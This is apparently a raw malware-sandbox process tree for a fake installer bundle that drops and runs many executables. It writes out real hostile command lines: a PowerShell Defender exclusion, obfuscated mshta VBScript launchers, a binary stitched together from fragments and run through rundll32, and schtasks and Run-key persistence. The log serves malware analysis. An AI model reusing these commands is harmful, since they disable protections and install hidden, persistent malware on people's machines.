PID 1308 wrote to memory of 1816	1308	cmd.exe	110
PID 1308 wrote to memory of 1816	1308	cmd.exe	110
PID 2080 wrote to memory of 2176	2080	cmd.exe	100
PID 2080 wrote to memory of 2176	2080	cmd.exe	100
PID 2080 wrote to memory of 2176	2080	cmd.exe	100
PID 3164 wrote to memory of 2516	3164	cmd.exe	108
PID 3164 wrote to memory of 2516	3164	cmd.exe	108
PID 3164 wrote to memory of 2516	3164	cmd.exe	108
PID 1016 wrote to memory of 2664	1016	cmd.exe	109
PID 1016 wrote to memory of 2664	1016	cmd.exe	109
PID 1016 wrote to memory of 2664	1016	cmd.exe	109
PID 2104 wrote to memory of 4040	2104	cmd.exe	107
PID 2104 wrote to memory of 4040	2104	cmd.exe	107
PID 2104 wrote to memory of 4040	2104	cmd.exe	107
PID 1464 wrote to memory of 4276	1464	cmd.exe	106
PID 1464 wrote to memory of 4276	1464	cmd.exe	106
PID 1464 wrote to memory of 4276	1464	cmd.exe	106
PID 1520 wrote to memory of 3740	1520	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:476
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1192
- - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5076
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1320
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1308
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon20762bc3f6.exe
        
        Mon20762bc3f6.exe
        5⤵
        Executes dropped EXE
        
        PID:1816
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3164
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon20927aab1e5.exe
        
        Mon20927aab1e5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2516
      - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:908
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2080
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon204014f13870f5e.exe
        
        Mon204014f13870f5e.exe
        5⤵
        Executes dropped EXE
        
        PID:2176
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2176 -s 280
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:2432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2104
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon203f01ac7e6.exe
        
        Mon203f01ac7e6.exe
        5⤵
        Executes dropped EXE
        
        PID:4040
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon203f01ac7e6.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:3780
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon203f01ac7e6.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon203f01ac7e6.exe") do taskkill /F -Im "%~NxU"
        7⤵
        
        PID:2440
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        Executes dropped EXE
        
        PID:4884
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        
        PID:3472
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:5184
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:1756
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:5580
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:5736
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:792
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        
        PID:3780
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        12⤵
        Loads dropped DLL
        
        PID:5432
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        13⤵
        
        PID:5288
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        14⤵
        Loads dropped DLL
        
        PID:4176
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Mon203f01ac7e6.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5152
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1520
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon206d48916f93c5.exe
        
        Mon206d48916f93c5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3740
      - C:\Users\Admin\AppData\Roaming\6697327.scr
        
        "C:\Users\Admin\AppData\Roaming\6697327.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5016
      - C:\Users\Admin\AppData\Roaming\8093863.scr
        
        "C:\Users\Admin\AppData\Roaming\8093863.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:912
      - C:\Users\Admin\AppData\Roaming\3915086.scr
        
        "C:\Users\Admin\AppData\Roaming\3915086.scr" /S
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:3060
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:5840
      - C:\Users\Admin\AppData\Roaming\1297788.scr
        
        "C:\Users\Admin\AppData\Roaming\1297788.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209c830507d573.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1464
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon209c830507d573.exe
        
        Mon209c830507d573.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4276
      - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon209c830507d573.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon209c830507d573.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1016
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon206b909958ed4.exe
        
        Mon206b909958ed4.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:2664
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2664 -s 280
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe
      4⤵
      PID:2200
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon20d3b8b752.exe
        
        Mon20d3b8b752.exe
        5⤵
        Executes dropped EXE
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        
        PID:4964
      - C:\Users\Admin\Pictures\Adobe Films\J_9m76Jn9H06Sp64eQZygrcD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\J_9m76Jn9H06Sp64eQZygrcD.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4064
      - C:\Users\Admin\Pictures\Adobe Films\j8JAB3Ats17FnqM4UJC7cVnM.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\j8JAB3Ats17FnqM4UJC7cVnM.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5656
      - C:\Users\Admin\Pictures\Adobe Films\cyYCSr3ILgYH2wPuEmkkm7Iq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cyYCSr3ILgYH2wPuEmkkm7Iq.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1560
      - C:\Users\Admin\Pictures\Adobe Films\PtYuG7i3Tu04_el4SaaWSeve.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PtYuG7i3Tu04_el4SaaWSeve.exe"
        6⤵
        Modifies system executable filetype association
        Executes dropped EXE
        Drops file in Windows directory
        Modifies registry class
        
        PID:3784
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\PtYuG7i3Tu04_el4SaaWSeve.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3582-490\PtYuG7i3Tu04_el4SaaWSeve.exe"
        7⤵
        Executes dropped EXE
        
        PID:2856
      - C:\Users\Admin\Pictures\Adobe Films\rE6qfWjmZ04VIU1xLyMd020N.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\rE6qfWjmZ04VIU1xLyMd020N.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1096
      - C:\Users\Admin\Pictures\Adobe Films\A6lkyoTCZDwy6ZqevXmwqq0v.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\A6lkyoTCZDwy6ZqevXmwqq0v.exe"
        6⤵
        Executes dropped EXE
        
        PID:2628
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        7⤵
        
        PID:1060
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\fl.exe"
        8⤵
        
        PID:5420
      - C:\Users\Admin\Pictures\Adobe Films\mwKikcq2xl69TAgDMhO3qm75.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\mwKikcq2xl69TAgDMhO3qm75.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5624
      - C:\Users\Admin\Pictures\Adobe Films\SKdz2h9K_pYJroDaREieHTyS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\SKdz2h9K_pYJroDaREieHTyS.exe"
        6⤵
        Executes dropped EXE
        
        PID:852
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\DOCUME~1\FDZF1C~1.EXE"
        7⤵
        
        PID:3276
        
        C:\Users\Admin\DOCUME~1\FDZF1C~1.EXE
        
        C:\Users\Admin\DOCUME~1\FDZF1C~1.EXE
        8⤵
        
        PID:2616
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\EGDFT9~1.EXE"
        9⤵
        
        PID:5308
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\LALK5P~1.EXE"
        9⤵
        
        PID:5948
        
        C:\Users\Admin\Pictures\ADOBEF~1\LALK5P~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\LALK5P~1.EXE
        10⤵
        
        PID:1260
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\ADOBEF~1\LALK5P~1.EXE"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\ADOBEF~1\LALK5P~1.EXE"" ) do taskkill -iM ""%~NXI"" -f " , 0, tRue ) )
        11⤵
        
        PID:5792
        
        C:\Windows\SysWOW64\mshta.exe
        
        C:\Windows\System32\mshta.exe vbscRIpt: CLOsE ( CREAteoBJect ( WScRiPT.sHeLL ). RUn ( C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\ADOBEF~1\LALK5P~1.EXE"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\ADOBEF~1\LALK5P~1.EXE"" ) do taskkill -iM ""%~NXI"" -f , 0 , tRue ) )
        12⤵
        
        PID:1364
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        12⤵
        
        PID:6272
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        13⤵
        Creates scheduled task(s)
        
        PID:6992
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\FRKJHP~1.EXE"
        9⤵
        
        PID:5236
        
        C:\Users\Admin\Pictures\ADOBEF~1\FRKJHP~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\FRKJHP~1.EXE
        10⤵
        
        PID:5712
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 276
        11⤵
        Program crash
        
        PID:2844
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\CQDO5U~1.EXE" /mixtwo
        9⤵
        
        PID:2200
        
        C:\Users\Admin\Pictures\ADOBEF~1\CQDO5U~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\CQDO5U~1.EXE /mixtwo
        10⤵
        
        PID:1240
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1240 -s 276
        11⤵
        Program crash
        
        PID:3388
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\5UHMNU~1.EXE"
        9⤵
        
        PID:5264
        
        C:\Users\Admin\Pictures\ADOBEF~1\5UHMNU~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\5UHMNU~1.EXE
        10⤵
        
        PID:2272
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\LVSRYB~1.EXE"
        9⤵
        
        PID:1548
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\QIN_AX~1.EXE"
        9⤵
        
        PID:2984
        
        C:\Users\Admin\Pictures\ADOBEF~1\QIN_AX~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\QIN_AX~1.EXE
        10⤵
        
        PID:4880
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\NSBZ_T~1.EXE"
        9⤵
        
        PID:5984
        
        C:\Users\Admin\Pictures\ADOBEF~1\NSBZ_T~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\NSBZ_T~1.EXE
        10⤵
        
        PID:6176
        
        C:\Users\Admin\AppData\Roaming\7151550.scr
        
        "C:\Users\Admin\AppData\Roaming\7151550.scr" /S
        11⤵
        
        PID:2984
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        Executes dropped EXE
        
        PID:1488
        
        C:\Users\Admin\AppData\Roaming\1002164.scr
        
        "C:\Users\Admin\AppData\Roaming\1002164.scr" /S
        11⤵
        
        PID:7056
        
        C:\Users\Admin\AppData\Roaming\6332661.scr
        
        "C:\Users\Admin\AppData\Roaming\6332661.scr" /S
        11⤵
        
        PID:3292
        
        C:\Users\Admin\AppData\Roaming\6193508.scr
        
        "C:\Users\Admin\AppData\Roaming\6193508.scr" /S
        11⤵
        
        PID:5696
        
        C:\Users\Admin\AppData\Roaming\7449639.scr
        
        "C:\Users\Admin\AppData\Roaming\7449639.scr" /S
        11⤵
        
        PID:6700
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\YNBTIO~1.EXE"
        9⤵
        
        PID:6292
        
        C:\Users\Admin\Pictures\ADOBEF~1\YNBTIO~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\YNBTIO~1.EXE
        10⤵
        
        PID:6332
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        11⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--oYd2f1"
        12⤵
        
        PID:4852
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x238,0x23c,0x240,0x214,0x244,0x7ff862a2dec0,0x7ff862a2ded0,0x7ff862a2dee0
        13⤵
        
        PID:8164
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1568,10412883390754996131,3242161877512901939,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4852_189689008" --mojo-platform-channel-handle=1752 /prefetch:8
        13⤵
        
        PID:8448
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1568,10412883390754996131,3242161877512901939,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4852_189689008" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1584 /prefetch:2
        13⤵
        
        PID:8440
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\CAJPJA~1.EXE"
        9⤵
        
        PID:6284
        
        C:\Users\Admin\Pictures\ADOBEF~1\CAJPJA~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\CAJPJA~1.EXE
        10⤵
        
        PID:6340
        
        C:\Users\Admin\AppData\Local\Temp\is-OTS4G.tmp\CAJPJA~1.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-OTS4G.tmp\CAJPJA~1.tmp" /SL5="$1039E,506127,422400,C:\Users\Admin\Pictures\ADOBEF~1\CAJPJA~1.EXE"
        11⤵
        
        PID:6468
        
        C:\Users\Admin\AppData\Local\Temp\is-7I9OA.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-7I9OA.tmp\DYbALA.exe" /S /UID=2709
        12⤵
        
        PID:6832
        
        C:\Program Files\MSBuild\MQJTBYLQCC\foldershare.exe
        
        "C:\Program Files\MSBuild\MQJTBYLQCC\foldershare.exe" /VERYSILENT
        13⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\18-f2f56-0fb-94884-9f6a48d1efa03\Kimedaemaebo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\18-f2f56-0fb-94884-9f6a48d1efa03\Kimedaemaebo.exe"
        13⤵
        
        PID:6800
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        14⤵
        
        PID:5364
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        15⤵
        
        PID:872
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        16⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\16-97973-943-b6aa9-6365dcf9a8834\Webugatahu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\16-97973-943-b6aa9-6365dcf9a8834\Webugatahu.exe"
        13⤵
        
        PID:5356
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lhdic4xs.oiy\GcleanerEU.exe /eufive & exit
        14⤵
        
        PID:10516
        
        C:\Users\Admin\AppData\Local\Temp\lhdic4xs.oiy\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\lhdic4xs.oiy\GcleanerEU.exe /eufive
        15⤵
        
        PID:14060
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 14060 -s 280
        16⤵
        Program crash
        
        PID:15300
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oedneios.b5n\installer.exe /qn CAMPAIGN="654" & exit
        14⤵
        
        PID:13416
        
        C:\Users\Admin\AppData\Local\Temp\oedneios.b5n\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\oedneios.b5n\installer.exe /qn CAMPAIGN="654"
        15⤵
        
        PID:13576
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\oedneios.b5n\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\oedneios.b5n\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1633869519 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        16⤵
        
        PID:6960
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\htq54ubs.1ou\any.exe & exit
        14⤵
        
        PID:13536
        
        C:\Users\Admin\AppData\Local\Temp\htq54ubs.1ou\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\htq54ubs.1ou\any.exe
        15⤵
        
        PID:14232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ui5vxorj.0fz\gcleaner.exe /mixfive & exit
        14⤵
        
        PID:13712
        
        C:\Users\Admin\AppData\Local\Temp\ui5vxorj.0fz\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\ui5vxorj.0fz\gcleaner.exe /mixfive
        15⤵
        
        PID:14012
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 14012 -s 276
        16⤵
        Program crash
        
        PID:15256
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\spxreclr.pg5\autosubplayer.exe /S & exit
        14⤵
        
        PID:13800
        
        C:\Users\Admin\AppData\Local\Temp\spxreclr.pg5\autosubplayer.exe
        
        C:\Users\Admin\AppData\Local\Temp\spxreclr.pg5\autosubplayer.exe /S
        15⤵
        
        PID:6312
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp27E9.tmp\tempfile.ps1"
        16⤵
        
        PID:7240
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp27E9.tmp\tempfile.ps1"
        16⤵
        
        PID:9340
        
